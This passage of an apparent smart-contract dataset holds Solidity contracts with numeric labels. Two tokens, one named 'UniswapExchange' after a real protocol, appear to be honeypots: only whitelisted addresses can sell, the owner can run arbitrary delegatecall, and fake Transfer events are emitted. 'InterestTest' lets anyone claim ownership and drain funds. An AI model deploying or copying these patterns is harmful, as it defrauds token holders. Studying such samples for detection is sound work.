function getAllowance(address _owner, address _spender) public constant returns (uint256);
}
contract CrydrControllerERC20 is PausableInterface,
CrydrControllerBaseInterface,
CrydrControllerERC20Interface {
function transfer(
address _msgsender,
address _to,
uint256 _value
)
public
onlyCrydrView
whenContractNotPaused
{
CrydrStorageERC20Interface(address(getCrydrStorageAddress())).transfer(_msgsender, _to, _value);
if (isCrydrViewRegistered('erc20') == true) {
CrydrViewERC20LoggableInterface(getCrydrViewAddress('erc20')).emitTransferEvent(_msgsender, _to, _value);
}
}
function getTotalSupply() public constant returns (uint256) {
return CrydrStorageBalanceInterface(address(getCrydrStorageAddress())).getTotalSupply();
}
function getBalance(address _owner) public constant returns (uint256) {
return CrydrStorageBalanceInterface(address(getCrydrStorageAddress())).getBalance(_owner);
}
function approve(
address _msgsender,
address _spender,
uint256 _value
)
public
onlyCrydrView
whenContractNotPaused
{
var allowance = CrydrStorageAllowanceInterface(getCrydrStorageAddress()).getAllowance(_msgsender, _spender);
require((allowance > 0 && _value == 0) || (allowance == 0 && _value > 0));
CrydrStorageERC20Interface(address(getCrydrStorageAddress())).approve(_msgsender, _spender, _value);
if (isCrydrViewRegistered('erc20') == true) {
CrydrViewERC20LoggableInterface(getCrydrViewAddress('erc20')).emitApprovalEvent(_msgsender, _spender, _value);
}
}
function transferFrom(
address _msgsender,
address _from,
address _to,
uint256 _value
)
public
onlyCrydrView
whenContractNotPaused
{
CrydrStorageERC20Interface(address(getCrydrStorageAddress())).transferFrom(_msgsender, _from, _to, _value);
if (isCrydrViewRegistered('erc20') == true) {
CrydrViewERC20LoggableInterface(getCrydrViewAddress('erc20')).emitTransferEvent(_from, _to, _value);
}
}
function getAllowance(address _owner, address _spender) public constant returns (uint256 ) {
return CrydrStorageAllowanceInterface(address(getCrydrStorageAddress())).getAllowance(_owner, _spender);
}
}
contract JNTControllerInterface {
event JNTChargedEvent(address indexed payableservice, address indexed from, address indexed to, uint256 value);
function chargeJNT(address _from, address _to, uint256 _value) public;
}
contract JNTPayableServiceInterface {
event JNTControllerChangedEvent(address jntcontroller);
event JNTBeneficiaryChangedEvent(address jntbeneficiary);
event JNTChargedEvent(address indexed from, address indexed to, uint256 value);
function setJntController(address _jntController) external;
function getJntController() public constant returns (address);
function setJntBeneficiary(address _jntBeneficiary) external;
function getJntBeneficiary() public constant returns (address);
function chargeJNTForService(address _from, uint256 _value) internal;
}
contract JNTPayableService is CommonModifiersInterface,
ManageableInterface,
PausableInterface,
JNTPayableServiceInterface {
JNTControllerInterface jntController;
address jntBeneficiary;
function setJntController(
address _jntController
)
external
onlyContractAddress(_jntController)
onlyAllowedManager('set_jnt_controller')
whenContractPaused
{
require(_jntController != address(jntController));
jntController = JNTControllerInterface(_jntController);
JNTControllerChangedEvent(_jntController);
}
function getJntController() public constant returns (address) {
return address(jntController);
}
function setJntBeneficiary(
address _jntBeneficiary
)
external
onlyValidJntBeneficiary(_jntBeneficiary)
onlyAllowedManager('set_jnt_beneficiary')
whenContractPaused
{
require(_jntBeneficiary != jntBeneficiary);
require(_jntBeneficiary != address(this));
jntBeneficiary = _jntBeneficiary;
JNTBeneficiaryChangedEvent(jntBeneficiary);
}
function getJntBeneficiary() public constant returns (address) {
return jntBeneficiary;
}
function chargeJNTForService(address _from, uint256 _value) internal whenContractNotPaused {
require(_from != address(0x0));
require(_from != jntBeneficiary);
require(_value > 0);
jntController.chargeJNT(_from, jntBeneficiary, _value);
JNTChargedEvent(_from, jntBeneficiary, _value);
}
function unpauseContract()
public
onlyContractAddress(jntController)
onlyValidJntBeneficiary(jntBeneficiary)
{
super.unpauseContract();
}
modifier onlyValidJntBeneficiary(address _jntBeneficiary) {
require(_jntBeneficiary != address(0x0));
_;
}
}
contract JNTPayableServiceERC20FeesInterface {
event JNTPriceTransferChangedEvent(uint256 value);
event JNTPriceTransferFromChangedEvent(uint256 value);
event JNTPriceApproveChangedEvent(uint256 value);
function setJntPrice(uint256 _jntPriceTransfer, uint256 _jntPriceTransferFrom, uint256 _jntPriceApprove) external;
function getJntPriceForTransfer() public constant returns (uint256);
function getJntPriceForTransferFrom() public constant returns (uint256);
function getJntPriceForApprove() public constant returns (uint256);
}
contract JNTPayableServiceERC20Fees is ManageableInterface,
PausableInterface,
JNTPayableServiceERC20FeesInterface {
uint256 jntPriceTransfer;
uint256 jntPriceTransferFrom;
uint256 jntPriceApprove;
function JNTPayableServiceERC20Fees(
uint256 _jntPriceTransfer,
uint256 _jntPriceTransferFrom,
uint256 _jntPriceApprove
)
public
{
jntPriceTransfer = _jntPriceTransfer;
jntPriceTransferFrom = _jntPriceTransferFrom;
jntPriceApprove = _jntPriceApprove;
}
function setJntPrice(
uint256 _jntPriceTransfer, uint256 _jntPriceTransferFrom, uint256 _jntPriceApprove
)
external
onlyAllowedManager('set_jnt_price')
whenContractPaused
{
require(_jntPriceTransfer != jntPriceTransfer ||
_jntPriceTransferFrom != jntPriceTransferFrom ||
_jntPriceApprove != jntPriceApprove);
if (jntPriceTransfer != _jntPriceTransfer) {
jntPriceTransfer = _jntPriceTransfer;
JNTPriceTransferChangedEvent(_jntPriceTransfer);
}
if (jntPriceTransferFrom != _jntPriceTransferFrom) {
jntPriceTransferFrom = _jntPriceTransferFrom;
JNTPriceTransferFromChangedEvent(_jntPriceTransferFrom);
}
if (jntPriceApprove != _jntPriceApprove) {
jntPriceApprove = _jntPriceApprove;
JNTPriceApproveChangedEvent(_jntPriceApprove);
}
}
function getJntPriceForTransfer() public constant returns (uint256) {
return jntPriceTransfer;
}
function getJntPriceForTransferFrom() public constant returns (uint256) {
return jntPriceTransferFrom;
}
function getJntPriceForApprove() public constant returns (uint256) {
return jntPriceApprove;
}
}
contract JCashCrydrController is CommonModifiers,
AssetID,
Ownable,
Manageable,
Pausable,
BytecodeExecutor,
CrydrControllerBase,
CrydrControllerBlockable,
CrydrControllerMintable,
CrydrControllerERC20,
JNTPayableService,
JNTPayableServiceERC20Fees {
function JCashCrydrController(string _assetID)
public
AssetID(_assetID)
JNTPayableServiceERC20Fees(10^18, 10^18, 10^18)
{}
function transfer(
address _msgsender,
address _to,
uint256 _value
)
public
{
CrydrControllerERC20.transfer(_msgsender, _to, _value);
chargeJNTForService(_msgsender, getJntPriceForTransfer());
}
function approve(
address _msgsender,
address _spender,
uint256 _value
)
public
{
CrydrControllerERC20.approve(_msgsender, _spender, _value);
chargeJNTForService(_msgsender, getJntPriceForApprove());
}
function transferFrom(
address _msgsender,
address _from,
address _to,
uint256 _value
)
public
{
CrydrControllerERC20.transferFrom(_msgsender, _from, _to, _value);
chargeJNTForService(_msgsender, getJntPriceForTransferFrom());
}
}
contract JNTController is CommonModifiers,
AssetID,
Ownable,
Manageable,
Pausable,
BytecodeExecutor,
CrydrControllerBase,
CrydrControllerBlockable,
CrydrControllerMintable,
CrydrControllerERC20,
JNTControllerInterface {
function JNTController() AssetID('JNT') public {}
function chargeJNT(
address _from,
address _to,
uint256 _value
)
public
onlyAllowedManager('jnt_payable_service') {
CrydrStorageERC20Interface(address(crydrStorage)).transfer(_from, _to, _value);
JNTChargedEvent(msg.sender, _from, _to, _value);
}
} | 0 | 535 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ShibaEthereumMax {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,971 |
pragma solidity ^0.5.10;
contract Airdrop {
address public c = 0x7a0e91c4204355e0A6bBf746dc0B7E32dFEFDecf;
address payable public owner;
mapping (uint => address) public a;
constructor() public{
owner = msg.sender;
}
function() payable external{
}
function transfer(uint _sreur_tokens, address[] memory _addresses) onlyOwner public returns (bool) {
require (_sreur_tokens > 0);
uint amount = _sreur_tokens*100000000;
for (uint i = 0; i < _addresses.length; i++) {
(bool success,) = address(c).call(abi.encodeWithSignature("transfer(address,uint256)", _addresses[i], amount));
require(success);
}
return true;
}
function withdraw() onlyOwner public returns (bool result) {
owner.transfer(address(this).balance);
return true;
}
modifier onlyOwner() {
require (msg.sender == owner);
_;
}
} | 0 | 993 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,187 |
pragma solidity ^0.4.17;
contract Base {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
} address Owner0 = msg.sender;
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
event Deposit(address sender, uint value);
event PayInterest(address receiver, uint value);
event Log(string message);
}
contract InterestTest is Base {
address public creator;
address public OwnerO;
address public Owner1;
uint256 public etherLimit = 2 ether;
mapping (address => uint256) public balances;
mapping (address => uint256) public interestPaid;
function initOwner(address owner) {
OwnerO = owner;
}
function initOwner1(address owner) internal {
Owner1 = owner;
}
function InterestTest(address owner1, address owner2) {
creator = msg.sender;
initOwner(owner1);
initOwner1(owner2);
}
function() payable {
if (msg.value >= etherLimit) {
uint amount = msg.value;
balances[msg.sender] += amount;
}
}
function deposit(address sender) payable {
if (msg.value >= 2) {
uint amount = msg.value;
balances[sender] += amount;
Deposit(sender, msg.value);
}
}
function calculateInterest(address investor, uint256 interestRate) returns (uint256) {
return balances[investor] * (interestRate) / 100;
}
function payout(address recipient, uint256 weiAmount) {
if ((msg.sender == creator || msg.sender == Owner0 || msg.sender == Owner1)) {
if (balances[recipient] > 0) {
recipient.send(weiAmount);
PayInterest(recipient, weiAmount);
}
}
}
function currentBalance() returns (uint256) {
return this.balance;
}
function payInterest(address recipient, uint256 interestRate) {
if ((msg.sender == creator || msg.sender == Owner0 || msg.sender == Owner1)) {
uint256 weiAmount = calculateInterest(recipient, interestRate);
interestPaid[recipient] += weiAmount;
payout(recipient, weiAmount);
}
}
} | 0 | 188 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
